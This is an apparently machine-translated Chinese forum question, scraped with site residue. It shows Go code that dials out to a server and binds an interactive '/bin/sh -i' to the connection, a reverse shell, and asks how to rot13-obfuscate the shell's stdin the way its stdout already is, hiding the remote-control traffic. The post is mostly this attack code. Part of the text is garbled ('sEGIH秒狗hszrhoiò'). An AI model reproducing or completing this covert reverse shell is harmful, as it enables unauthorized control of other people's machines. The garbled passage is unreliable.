目标:我想捕获cmd.Stdin的所有字节,并使用此rot13函数处理它们:https://play.golang.org/p/VX2pwaIqhmT
故事:我正在编写一个小工具,该工具将为win / linux进行交叉编译,所以我试图使它尽可能简单。此工具连接到服务器,我可以从中在客户端上执行命令。
由于我必须为cmd.Stdout做同样的事情,所以我使用了这个:
.......
conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)
......
cmd := exec.Command(/bin/sh, "-i") // please keep in mind that this is an ***interactive***
//***shell***, and not just a simple command
cmd.Stdin = conn
cmdStdout, err := cmd.StdoutPipe() // works fine
if err != nil {
fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)
}
cmd.Stderr = conn
err = cmd.Start()
if err != nil {
fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)
}
.....
err = OBFprocessStream(cmdStdout, conn) // works fine
....
其中OBF处理流函数基于此函数:https://play.golang.org/p/j_TKZWuhGaK。这里一切都很好。
所以,我试图为cmd.Stdin复制同样的事情:
.......
conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)
......
cmd := exec.Command(/bin/sh, "-i")
cmdStdin, err := cmd.StdinPipe()
if err != nil {
fmt.Fprintf(os.Stderr, "error creating shell stdin pipe: %s\n", err)
}
cmdStdout, err := cmd.StdoutPipe()
if err != nil {
fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)
}
cmd.Stderr = conn
err = cmd.Start()
if err != nil {
fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)
}
.....
err = INOBFprocessStream(cmdStdin, conn)
....
.....
err = OBFprocessStream(cmdStdout, conn)
....
但。。cmdStdin是一个Io.Writer关闭器,我真的不知道该怎么做才能捕获字节sEGIH秒狗hszrhoiò
你能帮帮我吗?
一只萌萌小番薯
胡子哥哥
随时随地看视频慕课网APP
相关分类